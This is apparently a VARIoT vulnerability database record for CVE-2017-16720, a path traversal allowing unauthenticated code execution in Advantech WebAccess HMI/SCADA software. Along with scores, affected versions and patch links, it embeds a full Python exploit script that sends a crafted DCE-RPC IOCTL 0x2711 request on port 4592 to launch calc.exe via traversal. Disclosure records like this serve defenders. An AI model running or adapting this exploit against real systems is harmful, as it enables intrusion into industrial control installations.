var-201801-0150
Vulnerability from variot

A Path Traversal issue was discovered in WebAccess versions 8.3.2 and earlier. An attacker has access to files within the directory structure of the target device. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. Authentication is not required to exploit this vulnerability.The specific flaw exists within the implementation of the 0x2711 IOCTL in the webvrpcs process. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this functionality to execute code under the context of Administrator. An attacker can leverage this vulnerability to delete files accessible to the web service. Advantech WebAccess (formerly known as BroadWin WebAccess) is a suite of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. Advantech WebAccess is prone to the following security vulnerabilities: 1. Multiple denial-of-service vulnerabilities 2. Multiple stack-based buffer-overflow vulnerabilities 3. A directory-traversal vulnerability 4. An SQL-injection vulnerability 5. Multiple denial-of-service vulnerabilities An attacker can exploit these issues to execute arbitrary code in the context of the application, or modify data, or exploit latent vulnerabilities in the underlying database,perform certain unauthorized actions, gain unauthorized access and obtain sensitive information. Failed attacks will cause denial of service conditions. #!/usr/bin/python2.7

Exploit Title: Advantech WebAccess < 8.3 webvrpcs Directory Traversal RCE Vulnerability

Date: 03-11-2018

Exploit Author: Chris Lyne (@lynerc)

Vendor Homepage: www.advantech.com

Software Link: http://advcloudfiles.advantech.com/web/Download/webaccess/8.2/AdvantechWebAccessUSANode8.2_20170817.exe

Version: Advantech WebAccess 8.2-2017.08.18

Tested on: Windows Server 2008 R2 Enterprise 64-bit

CVE : CVE-2017-16720

See Also: https://www.zerodayinitiative.com/advisories/ZDI-18-024/

import sys, struct from impacket import uuid from impacket.dcerpc.v5 import transport

def call(dce, opcode, stubdata): dce.call(opcode, stubdata) res = -1 try: res = dce.recv() except Exception, e: print "Exception encountered..." + str(e) sys.exit(1) return res

if len(sys.argv) != 2: print "Provide only host arg" sys.exit(1)

port = 4592 interface = "5d2b62aa-ee0a-4a95-91ae-b064fdb471fc" version = "1.0"

host = sys.argv[1]

string_binding = "ncacn_ip_tcp:%s" % host trans = transport.DCERPCTransportFactory(string_binding) trans.set_dport(port)

dce = trans.get_dce_rpc() dce.connect()

print "Binding..." iid = uuid.uuidtup_to_bin((interface, version)) dce.bind(iid)

print "...1" stubdata = struct.pack("<III", 0x00, 0xc351, 0x04) call(dce, 2, stubdata)

print "...2" stubdata = struct.pack("<I", 0x02) res = call(dce, 4, stubdata) if res == -1: print "Something went wrong" sys.exit(1) res = struct.unpack("III", res)

if (len(res) < 3): print "Received unexpected length value" sys.exit(1)

print "...3"

ioctl 0x2711

stubdata = struct.pack("<IIII", res[2], 0x2711, 0x204, 0x204) command = "..\..\windows\system32\calc.exe" fmt = "<" + str(0x204) + "s" stubdata += struct.pack(fmt, command) call(dce, 1, stubdata)

print "\nDid it work?"

dce.disconnect()

Show details on source website


{
  "@context": {
    "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
    "affected_products": {
      "@id": "https://www.variotdbs.pl/ref/affected_products"
    },
    "configurations": {
      "@id": "https://www.variotdbs.pl/ref/configurations"
    },
    "credits": {
      "@id": "https://www.variotdbs.pl/ref/credits"
    },
    "cvss": {
      "@id": "https://www.variotdbs.pl/ref/cvss/"
    },
    "description": {
      "@id": "https://www.variotdbs.pl/ref/description/"
    },
    "exploit_availability": {
      "@id": "https://www.variotdbs.pl/ref/exploit_availability/"
    },
    "external_ids": {
      "@id": "https://www.variotdbs.pl/ref/external_ids/"
    },
    "iot": {
      "@id": "https://www.variotdbs.pl/ref/iot/"
    },
    "iot_taxonomy": {
      "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
    },
    "patch": {
      "@id": "https://www.variotdbs.pl/ref/patch/"
    },
    "problemtype_data": {
      "@id": "https://www.variotdbs.pl/ref/problemtype_data/"
    },
    "references": {
      "@id": "https://www.variotdbs.pl/ref/references/"
    },
    "sources": {
      "@id": "https://www.variotdbs.pl/ref/sources/"
    },
    "sources_release_date": {
      "@id": "https://www.variotdbs.pl/ref/sources_release_date/"
    },
    "sources_update_date": {
      "@id": "https://www.variotdbs.pl/ref/sources_update_date/"
    },
    "threat_type": {
      "@id": "https://www.variotdbs.pl/ref/threat_type/"
    },
    "title": {
      "@id": "https://www.variotdbs.pl/ref/title/"
    },
    "type": {
      "@id": "https://www.variotdbs.pl/ref/type/"
    }
  },
  "@id": "https://www.variotdbs.pl/vuln/VAR-201801-0150",
  "affected_products": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/affected_products#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        },
        "@id": "https://www.variotdbs.pl/ref/sources"
      }
    },
    "data": [
      {
        "model": "webaccess",
        "scope": null,
        "trust": 1.4,
        "vendor": "advantech",
        "version": null
      },
      {
        "model": "webaccess",
        "scope": "lt",
        "trust": 1.4,
        "vendor": "advantech",
        "version": "8.3"
      },
      {
        "model": "webaccess",
        "scope": "lte",
        "trust": 1.0,
        "vendor": "advantech",
        "version": "8.3.2"
      },
      {
        "model": "webaccess",
        "scope": "eq",
        "trust": 0.9,
        "vendor": "advantech",
        "version": "8.1"
      },
      {
        "model": "webaccess",
        "scope": "eq",
        "trust": 0.9,
        "vendor": "advantech",
        "version": "7.2"
      },
      {
        "model": "webaccess",
        "scope": "eq",
        "trust": 0.6,
        "vendor": "advantech",
        "version": "8.3.2"
      },
      {
        "model": "webaccess",
        "scope": "eq",
        "trust": 0.6,
        "vendor": "advantech",
        "version": "8.0"
      },
      {
        "model": "webaccess 8.2 20170330",
        "scope": null,
        "trust": 0.3,
        "vendor": "advantech",
        "version": null
      },
      {
        "model": "webaccess",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "advantech",
        "version": "8.2"
      },
      {
        "model": "webaccess 8.1 20160519",
        "scope": null,
        "trust": 0.3,
        "vendor": "advantech",
        "version": null
      },
      {
        "model": "webaccess 8.0 20150816",
        "scope": null,
        "trust": 0.3,
        "vendor": "advantech",
        "version": null
      },
      {
        "model": "webaccess",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "advantech",
        "version": "8"
      },
      {
        "model": "webaccess",
        "scope": "ne",
        "trust": 0.3,
        "vendor": "advantech",
        "version": "8.3"
      },
      {
        "model": null,
        "scope": "eq",
        "trust": 0.2,
        "vendor": "webaccess",
        "version": "*"
      }
    ],
    "sources": [
      {
        "db": "IVD",
        "id": "e2e0b982-39ab-11e9-bc27-000c29342cb1"
      },
      {
        "db": "ZDI",
        "id": "ZDI-18-024"
      },
      {
        "db": "ZDI",
        "id": "ZDI-18-056"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2018-00670"
      },
      {
        "db": "BID",
        "id": "102424"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2017-011765"
      },
      {
        "db": "NVD",
        "id": "CVE-2017-16720"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201801-243"
      }
    ]
  },
  "configurations": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/configurations#",
      "children": {
        "@container": "@list"
      },
      "cpe_match": {
        "@container": "@list"
      },
      "data": {
        "@container": "@list"
      },
      "nodes": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "CVE_data_version": "4.0",
        "nodes": [
          {
            "children": [],
            "cpe_match": [
              {
                "cpe23Uri": "cpe:2.3:a:advantech:webaccess:*:*:*:*:*:*:*:*",
                "cpe_name": [],
                "versionEndIncluding": "8.3.2",
                "vulnerable": true
              }
            ],
            "operator": "OR"
          }
        ]
      }
    ],
    "sources": [
      {
        "db": "NVD",
        "id": "CVE-2017-16720"
      }
    ]
  },
  "credits": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/credits#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "Steven Seeley (mr_me) of Offensive Security",
    "sources": [
      {
        "db": "ZDI",
        "id": "ZDI-18-024"
      }
    ],
    "trust": 0.7
  },
  "cve": "CVE-2017-16720",
  "cvss": {
    "@context": {
      "cvssV2": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
      },
      "cvssV3": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
      },
      "severity": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/cvss/severity#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/severity"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        },
        "@id": "https://www.variotdbs.pl/ref/sources"
      }
    },
    "data": [
      {
        "cvssV2": [
          {
            "acInsufInfo": true,
            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "NVD",
            "availabilityImpact": "COMPLETE",
            "baseScore": 10.0,
            "confidentialityImpact": "COMPLETE",
            "exploitabilityScore": 10.0,
            "impactScore": 10.0,
            "integrityImpact": "COMPLETE",
            "obtainAllPrivilege": false,
            "obtainOtherPrivilege": false,
            "obtainUserPrivilege": false,
            "severity": "HIGH",
            "trust": 1.0,
            "userInteractionRequired": false,
            "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
            "version": "2.0"
          },
          {
            "acInsufInfo": null,
            "accessComplexity": "Low",
            "accessVector": "Network",
            "authentication": "None",
            "author": "NVD",
            "availabilityImpact": "None",
            "baseScore": 5.0,
            "confidentialityImpact": "Partial",
            "exploitabilityScore": null,
            "id": "CVE-2017-16720",
            "impactScore": null,
            "integrityImpact": "None",
            "obtainAllPrivilege": null,
            "obtainOtherPrivilege": null,
            "obtainUserPrivilege": null,
            "severity": "Medium",
            "trust": 0.8,
            "userInteractionRequired": null,
            "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N",
            "version": "2.0"
          },
          {
            "acInsufInfo": null,
            "accessComplexity": "MEDIUM",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "ZDI",
            "availabilityImpact": "COMPLETE",
            "baseScore": 9.3,
            "confidentialityImpact": "COMPLETE",
            "exploitabilityScore": 8.6,
            "id": "CVE-2017-16720",
            "impactScore": 10.0,
            "integrityImpact": "COMPLETE",
            "obtainAllPrivilege": null,
            "obtainOtherPrivilege": null,
            "obtainUserPrivilege": null,
            "severity": "HIGH",
            "trust": 0.7,
            "userInteractionRequired": null,
            "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C",
            "version": "2.0"
          },
          {
            "acInsufInfo": null,
            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "ZDI",
            "availabilityImpact": "PARTIAL",
            "baseScore": 5.0,
            "confidentialityImpact": "NONE",
            "exploitabilityScore": 10.0,
            "id": "CVE-2017-16720",
            "impactScore": 2.9,
            "integrityImpact": "NONE",
            "obtainAllPrivilege": null,
            "obtainOtherPrivilege": null,
            "obtainUserPrivilege": null,
            "severity": "MEDIUM",
            "trust": 0.7,
            "userInteractionRequired": null,
            "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P",
            "version": "2.0"
          },
          {
            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "CNVD",
            "availabilityImpact": "NONE",
            "baseScore": 5.0,
            "confidentialityImpact": "PARTIAL",
            "exploitabilityScore": 10.0,
            "id": "CNVD-2018-00670",
            "impactScore": 2.9,
            "integrityImpact": "NONE",
            "severity": "MEDIUM",
            "trust": 0.6,
            "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N",
            "version": "2.0"
          },
          {
            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "IVD",
            "availabilityImpact": "NONE",
            "baseScore": 5.0,
            "confidentialityImpact": "PARTIAL",
            "exploitabilityScore": 10.0,
            "id": "e2e0b982-39ab-11e9-bc27-000c29342cb1",
            "impactScore": 2.9,
            "integrityImpact": "NONE",
            "severity": "MEDIUM",
            "trust": 0.2,
            "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N",
            "version": "2.9 [IVD]"
          },
          {
            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "VULHUB",
            "availabilityImpact": "COMPLETE",
            "baseScore": 10.0,
            "confidentialityImpact": "COMPLETE",
            "exploitabilityScore": 10.0,
            "id": "VHN-107671",
            "impactScore": 10.0,
            "integrityImpact": "COMPLETE",
            "severity": "HIGH",
            "trust": 0.1,
            "vectorString": "AV:N/AC:L/AU:N/C:C/I:C/A:C",
            "version": "2.0"
          },
          {
            "acInsufInfo": null,
            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "VULMON",
            "availabilityImpact": "COMPLETE",
            "baseScore": 10.0,
            "confidentialityImpact": "COMPLETE",
            "exploitabilityScore": 10.0,
            "id": "CVE-2017-16720",
            "impactScore": 10.0,
            "integrityImpact": "COMPLETE",
            "obtainAllPrivilege": null,
            "obtainOtherPrivilege": null,
            "obtainUserPrivilege": null,
            "severity": "HIGH",
            "trust": 0.1,
            "userInteractionRequired": null,
            "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
            "version": "2.0"
          }
        ],
        "cvssV3": [
          {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "author": "NVD",
            "availabilityImpact": "HIGH",
            "baseScore": 9.8,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "exploitabilityScore": 3.9,
            "impactScore": 5.9,
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "trust": 1.0,
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.0"
          },
          {
            "attackComplexity": "Low",
            "attackVector": "Network",
            "author": "NVD",
            "availabilityImpact": "None",
            "baseScore": 7.5,
            "baseSeverity": "High",
            "confidentialityImpact": "High",
            "exploitabilityScore": null,
            "id": "CVE-2017-16720",
            "impactScore": null,
            "integrityImpact": "None",
            "privilegesRequired": "None",
            "scope": "Unchanged",
            "trust": 0.8,
            "userInteraction": "None",
            "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
            "version": "3.0"
          }
        ],
        "severity": [
          {
            "author": "NVD",
            "id": "CVE-2017-16720",
            "trust": 1.0,
            "value": "CRITICAL"
          },
          {
            "author": "NVD",
            "id": "CVE-2017-16720",
            "trust": 0.8,
            "value": "High"
          },
          {
            "author": "ZDI",
            "id": "CVE-2017-16720",
            "trust": 0.7,
            "value": "HIGH"
          },
          {
            "author": "ZDI",
            "id": "CVE-2017-16720",
            "trust": 0.7,
            "value": "MEDIUM"
          },
          {
            "author": "CNVD",
            "id": "CNVD-2018-00670",
            "trust": 0.6,
            "value": "MEDIUM"
          },
          {
            "author": "CNNVD",
            "id": "CNNVD-201801-243",
            "trust": 0.6,
            "value": "CRITICAL"
          },
          {
            "author": "IVD",
            "id": "e2e0b982-39ab-11e9-bc27-000c29342cb1",
            "trust": 0.2,
            "value": "CRITICAL"
          },
          {
            "author": "VULHUB",
            "id": "VHN-107671",
            "trust": 0.1,
            "value": "HIGH"
          },
          {
            "author": "VULMON",
            "id": "CVE-2017-16720",
            "trust": 0.1,
            "value": "HIGH"
          }
        ]
      }
    ],
    "sources": [
      {
        "db": "IVD",
        "id": "e2e0b982-39ab-11e9-bc27-000c29342cb1"
      },
      {
        "db": "ZDI",
        "id": "ZDI-18-024"
      },
      {
        "db": "ZDI",
        "id": "ZDI-18-056"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2018-00670"
      },
      {
        "db": "VULHUB",
        "id": "VHN-107671"
      },
      {
        "db": "VULMON",
        "id": "CVE-2017-16720"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2017-011765"
      },
      {
        "db": "NVD",
        "id": "CVE-2017-16720"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201801-243"
      }
    ]
  },
  "description": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/description#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "A Path Traversal issue was discovered in WebAccess versions 8.3.2 and earlier. An attacker has access to files within the directory structure of the target device. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. Authentication is not required to exploit this vulnerability.The specific flaw exists within the implementation of the 0x2711 IOCTL in the webvrpcs process. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations.  An attacker can leverage this functionality to execute code under the context of Administrator. An attacker can leverage this vulnerability to delete files accessible to the web service. Advantech WebAccess (formerly known as BroadWin WebAccess) is a suite of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. Advantech WebAccess is prone to the following security vulnerabilities:\n1. Multiple denial-of-service vulnerabilities\n2. Multiple stack-based buffer-overflow vulnerabilities\n3. A directory-traversal vulnerability\n4.  An SQL-injection vulnerability\n5. Multiple denial-of-service vulnerabilities\nAn attacker can exploit these issues to execute arbitrary code in the context of the application, or modify data, or exploit latent vulnerabilities in the underlying database,perform certain unauthorized actions, gain unauthorized access and obtain sensitive information. Failed attacks will cause denial of service conditions. #!/usr/bin/python2.7\n   \n# Exploit Title: Advantech WebAccess \u003c 8.3 webvrpcs Directory Traversal RCE Vulnerability\n# Date: 03-11-2018\n# Exploit Author: Chris Lyne (@lynerc)\n# Vendor Homepage: www.advantech.com\n# Software Link: http://advcloudfiles.advantech.com/web/Download/webaccess/8.2/AdvantechWebAccessUSANode8.2_20170817.exe\n# Version: Advantech WebAccess 8.2-2017.08.18\n# Tested on: Windows Server 2008 R2 Enterprise 64-bit\n# CVE : CVE-2017-16720\n# See Also: https://www.zerodayinitiative.com/advisories/ZDI-18-024/\n \nimport sys, struct\nfrom impacket import uuid\nfrom impacket.dcerpc.v5 import transport\n \ndef call(dce, opcode, stubdata):\n  dce.call(opcode, stubdata)\n  res = -1\n  try:\n    res = dce.recv()\n  except Exception, e:\n    print \"Exception encountered...\" + str(e)\n    sys.exit(1)\n  return res\n \nif len(sys.argv) != 2:\n  print \"Provide only host arg\"\n  sys.exit(1)\n \nport = 4592\ninterface = \"5d2b62aa-ee0a-4a95-91ae-b064fdb471fc\"\nversion = \"1.0\"\n \nhost = sys.argv[1]\n \nstring_binding = \"ncacn_ip_tcp:%s\" % host\ntrans = transport.DCERPCTransportFactory(string_binding)\ntrans.set_dport(port)\n \ndce = trans.get_dce_rpc()\ndce.connect()\n \nprint \"Binding...\"\niid = uuid.uuidtup_to_bin((interface, version))\ndce.bind(iid)\n \nprint \"...1\"\nstubdata = struct.pack(\"\u003cIII\", 0x00, 0xc351, 0x04)\ncall(dce, 2, stubdata)\n \nprint \"...2\"\nstubdata = struct.pack(\"\u003cI\", 0x02)\nres = call(dce, 4, stubdata)\nif res == -1:\n  print \"Something went wrong\"\n  sys.exit(1)\nres = struct.unpack(\"III\", res)\n \nif (len(res) \u003c 3):\n  print \"Received unexpected length value\"\n  sys.exit(1)\n \nprint \"...3\"\n# ioctl 0x2711\nstubdata = struct.pack(\"\u003cIIII\", res[2], 0x2711, 0x204, 0x204)\ncommand = \"..\\\\..\\\\windows\\\\system32\\\\calc.exe\"\nfmt = \"\u003c\" + str(0x204) + \"s\"\nstubdata += struct.pack(fmt, command)\ncall(dce, 1, stubdata)\n \nprint \"\\nDid it work?\"\n \ndce.disconnect()\n\n",
    "sources": [
      {
        "db": "NVD",
        "id": "CVE-2017-16720"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2017-011765"
      },
      {
        "db": "ZDI",
        "id": "ZDI-18-024"
      },
      {
        "db": "ZDI",
        "id": "ZDI-18-056"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2018-00670"
      },
      {
        "db": "BID",
        "id": "102424"
      },
      {
        "db": "IVD",
        "id": "e2e0b982-39ab-11e9-bc27-000c29342cb1"
      },
      {
        "db": "VULHUB",
        "id": "VHN-107671"
      },
      {
        "db": "VULMON",
        "id": "CVE-2017-16720"
      },
      {
        "db": "PACKETSTORM",
        "id": "146743"
      }
    ],
    "trust": 4.14
  },
  "exploit_availability": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/exploit_availability#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "reference": "https://www.scap.org.cn/vuln/vhn-107671",
        "trust": 0.1,
        "type": "unknown"
      },
      {
        "reference": "https://vulmon.com/exploitdetails?qidtp=exploitdb\u0026qid=44278",
        "trust": 0.1,
        "type": "exploit"
      }
    ],
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-107671"
      },
      {
        "db": "VULMON",
        "id": "CVE-2017-16720"
      }
    ]
  },
  "external_ids": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/external_ids#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "db": "NVD",
        "id": "CVE-2017-16720",
        "trust": 5.2
      },
      {
        "db": "BID",
        "id": "102424",
        "trust": 3.5
      },
      {
        "db": "ZDI",
        "id": "ZDI-18-024",
        "trust": 2.5
      },
      {
        "db": "ICS CERT",
        "id": "ICSA-18-004-02",
        "trust": 2.1
      },
      {
        "db": "TENABLE",
        "id": "TRA-2018-23",
        "trust": 1.8
      },
      {
        "db": "EXPLOIT-DB",
        "id": "44278",
        "trust": 1.8
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201801-243",
        "trust": 0.9
      },
      {
        "db": "CNVD",
        "id": "CNVD-2018-00670",
        "trust": 0.8
      },
      {
        "db": "ICS CERT",
        "id": "ICSA-18-004-02A",
        "trust": 0.8
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2017-011765",
        "trust": 0.8
      },
      {
        "db": "ZDI_CAN",
        "id": "ZDI-CAN-4992",
        "trust": 0.7
      },
      {
        "db": "ZDI_CAN",
        "id": "ZDI-CAN-5058",
        "trust": 0.7
      },
      {
        "db": "ZDI",
        "id": "ZDI-18-056",
        "trust": 0.7
      },
      {
        "db": "CXSECURITY",
        "id": "WLB-2018030106",
        "trust": 0.6
      },
      {
        "db": "IVD",
        "id": "E2E0B982-39AB-11E9-BC27-000C29342CB1",
        "trust": 0.2
      },
      {
        "db": "PACKETSTORM",
        "id": "146743",
        "trust": 0.2
      },
      {
        "db": "VULHUB",
        "id": "VHN-107671",
        "trust": 0.1
      },
      {
        "db": "VULMON",
        "id": "CVE-2017-16720",
        "trust": 0.1
      }
    ],
    "sources": [
      {
        "db": "IVD",
        "id": "e2e0b982-39ab-11e9-bc27-000c29342cb1"
      },
      {
        "db": "ZDI",
        "id": "ZDI-18-024"
      },
      {
        "db": "ZDI",
        "id": "ZDI-18-056"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2018-00670"
      },
      {
        "db": "VULHUB",
        "id": "VHN-107671"
      },
      {
        "db": "VULMON",
        "id": "CVE-2017-16720"
      },
      {
        "db": "BID",
        "id": "102424"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2017-011765"
      },
      {
        "db": "PACKETSTORM",
        "id": "146743"
      },
      {
        "db": "NVD",
        "id": "CVE-2017-16720"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201801-243"
      }
    ]
  },
  "id": "VAR-201801-0150",
  "iot": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/iot#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": true,
    "sources": [
      {
        "db": "IVD",
        "id": "e2e0b982-39ab-11e9-bc27-000c29342cb1"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2018-00670"
      },
      {
        "db": "VULHUB",
        "id": "VHN-107671"
      }
    ],
    "trust": 1.4966049
  },
  "iot_taxonomy": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "category": [
          "ICS"
        ],
        "sub_category": null,
        "trust": 0.8
      }
    ],
    "sources": [
      {
        "db": "IVD",
        "id": "e2e0b982-39ab-11e9-bc27-000c29342cb1"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2018-00670"
      }
    ]
  },
  "last_update_date": "2023-12-18T12:02:53.545000Z",
  "patch": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/patch#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "title": "Advantech has issued an update to correct this vulnerability.",
        "trust": 1.4,
        "url": "https://ics-cert.us-cert.gov/advisories/icsa-18-004-02"
      },
      {
        "title": "Advantech WebAccess",
        "trust": 0.8,
        "url": "http://www.advantech.com/industrial-automation/webaccess"
      },
      {
        "title": "Advantech WebAccess Path Traversal Vulnerability Patch",
        "trust": 0.6,
        "url": "https://www.cnvd.org.cn/patchinfo/show/113121"
      },
      {
        "title": "Advantech WebAccess Repair measures for path traversal vulnerabilities",
        "trust": 0.6,
        "url": "http://www.cnnvd.org.cn/web/xxk/bdxqbyid.tag?id=77554"
      }
    ],
    "sources": [
      {
        "db": "ZDI",
        "id": "ZDI-18-024"
      },
      {
        "db": "ZDI",
        "id": "ZDI-18-056"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2018-00670"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2017-011765"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201801-243"
      }
    ]
  },
  "problemtype_data": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "problemtype": "CWE-22",
        "trust": 1.9
      }
    ],
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-107671"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2017-011765"
      },
      {
        "db": "NVD",
        "id": "CVE-2017-16720"
      }
    ]
  },
  "references": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/references#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "trust": 3.5,
        "url": "https://ics-cert.us-cert.gov/advisories/icsa-18-004-02"
      },
      {
        "trust": 3.3,
        "url": "http://www.securityfocus.com/bid/102424"
      },
      {
        "trust": 1.9,
        "url": "https://www.exploit-db.com/exploits/44278/"
      },
      {
        "trust": 1.8,
        "url": "https://www.tenable.com/security/research/tra-2018-23"
      },
      {
        "trust": 1.8,
        "url": "https://www.zerodayinitiative.com/advisories/zdi-18-024/"
      },
      {
        "trust": 0.9,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2017-16720"
      },
      {
        "trust": 0.8,
        "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2017-16720"
      },
      {
        "trust": 0.8,
        "url": "https://ics-cert.us-cert.gov/advisories/icsa-18-004-02a"
      },
      {
        "trust": 0.6,
        "url": "https://cxsecurity.com/issue/wlb-2018030106"
      },
      {
        "trust": 0.3,
        "url": "http://webaccess.advantech.com"
      },
      {
        "trust": 0.1,
        "url": "https://cwe.mitre.org/data/definitions/22.html"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov"
      },
      {
        "trust": 0.1,
        "url": "https://www.advantech.com"
      },
      {
        "trust": 0.1,
        "url": "http://advcloudfiles.advantech.com/web/download/webaccess/8.2/advantechwebaccessusanode8.2_20170817.exe"
      }
    ],
    "sources": [
      {
        "db": "ZDI",
        "id": "ZDI-18-024"
      },
      {
        "db": "ZDI",
        "id": "ZDI-18-056"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2018-00670"
      },
      {
        "db": "VULHUB",
        "id": "VHN-107671"
      },
      {
        "db": "VULMON",
        "id": "CVE-2017-16720"
      },
      {
        "db": "BID",
        "id": "102424"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2017-011765"
      },
      {
        "db": "PACKETSTORM",
        "id": "146743"
      },
      {
        "db": "NVD",
        "id": "CVE-2017-16720"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201801-243"
      }
    ]
  },
  "sources": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "db": "IVD",
        "id": "e2e0b982-39ab-11e9-bc27-000c29342cb1"
      },
      {
        "db": "ZDI",
        "id": "ZDI-18-024"
      },
      {
        "db": "ZDI",
        "id": "ZDI-18-056"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2018-00670"
      },
      {
        "db": "VULHUB",
        "id": "VHN-107671"
      },
      {
        "db": "VULMON",
        "id": "CVE-2017-16720"
      },
      {
        "db": "BID",
        "id": "102424"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2017-011765"
      },
      {
        "db": "PACKETSTORM",
